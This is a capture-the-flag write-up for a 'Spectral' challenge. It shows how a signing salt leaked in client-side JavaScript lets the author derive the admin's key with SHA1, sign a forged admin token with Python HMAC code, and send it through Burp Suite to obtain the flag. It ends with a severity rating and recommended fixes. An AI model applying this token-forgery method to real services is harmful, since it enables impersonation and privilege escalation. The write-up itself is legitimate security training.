Razzify Challenge Report — Spectral

1. Overview

After logging in using the provided user credentials, the dashboard exposed sensitive authentication information including:

• Username
• Derived API Key
• Current token payload

Example token payload:

{“user”:”attacker@hack.com”,”ts”:1771051778}

After Reading the hint:

The challenge hint suggested inspecting client-side resources:

“Always check client-side resources. What secrets might developers accidentally expose in static files?”

Reviewing the JavaScript source revealed critical information:

const username = “admin@razzify.local”; const salt = window.SERVER_SALT; window.SERVER_SALT = “SALT_FOR_CTF”;

Further analysis showed how the signing key are generated:

const data = username + “:” + salt; SHA1(data)

This means signing key are generated as :

SHA1(username + “:” + salt)

Because:

• admin username is public
• salt is also exposed in js file

From this we can generate signing keys for any user, including administrators.

3. Token Generation Logic

The JavaScript also revealed the API endpoint responsible for token handling:

fetch(‘/api/auth/getToken’, { method: ‘POST’, headers: {‘Content-Type’: ‘application/json’}, body: JSON.stringify({username: username}) })

Attempting to directly request an admin token returned an access denied response, indicating server-side validation.

Try To Get Token

Another function showed how admin access works:

fetch(‘/api/admin/secret-panel’, { method: ‘POST’, headers: {‘Content-Type’: ‘application/json’}, body: JSON.stringify({payload: payload, sig: sig}) })

This confirmed that authentication relies solely on:

• payload
• signature

Signature verification uses:

HMAC_SHA256(payload, derived_key)

Exploitation Steps

Step 1 — Generate Admin Signing Key

And we generate admin key from previous discovered formula

SHA1(username + “:” + salt)

and we know the value of username and salt

Username: admin@razzify.local Salt: SALT_FOR_CTF

So for generating admin key we use the python script

import hashlib
hashlib.sha1(b"admin@razzify.local:SALT_FOR_CTF").hexdigest()

This produced the admin’s signing key.

Step 2 — Create Admin Payload

Observed user payload format:

{“user”:”attacker@hack.com”,”ts”:1771051778}

Modified payload for admin:

{“user”:”admin@razzify.local”,”ts”:1771051778}

Step 3 — Sign Payload

And we generate signature using python script:

import hmac, hashlib

payload = '{"user":"admin@razzify.local","ts":1771051778}'
key = "ADMIN_DERIVED_KEY"

hmac.new(key.encode(), payload.encode(), hashlib.sha256).hexdigest()

In place of admin derived key we have to put that value which we found in step 1 by python script.

Step 4 — Send Forged Request

Now we use Burp Suite to send the request,

POST /challenge_60/api/admin/secret-panel

Body:

{ “payload”:”{\”user\”:\”admin@razzify.local\”,\”ts\”:1771051778}”, “sig”:”FORGED_SIGNATURE” }

Content-type: application/json

Result

The server accepted the forged token and returned the admin flag, confirming successful privilege escalation.

Security Impact

This vulnerability allows attackers to:

• forge valid authentication tokens
• impersonate any user
• escalate privileges to admin

Severity: Critical

Recommended Fix

Signing keys must:

• be randomly generated
• remain server-side only
• never be derived from user input

Additionally:

• never expose salts in client code
• use secure key storage
• rotate secrets periodically